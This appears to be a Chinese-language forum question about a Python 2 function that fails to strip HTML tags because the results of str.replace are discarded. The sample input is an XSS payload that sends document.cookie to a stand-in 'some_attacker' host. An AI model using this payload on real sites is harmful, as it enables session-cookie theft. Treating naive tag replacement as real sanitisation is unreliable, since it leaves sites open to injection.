我正在尝试替换字符串中的一些关键词。这是我的功能:
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
这是我的其他代码和字符串:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
我的输出如下,我不确定为什么什么都没有改变
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>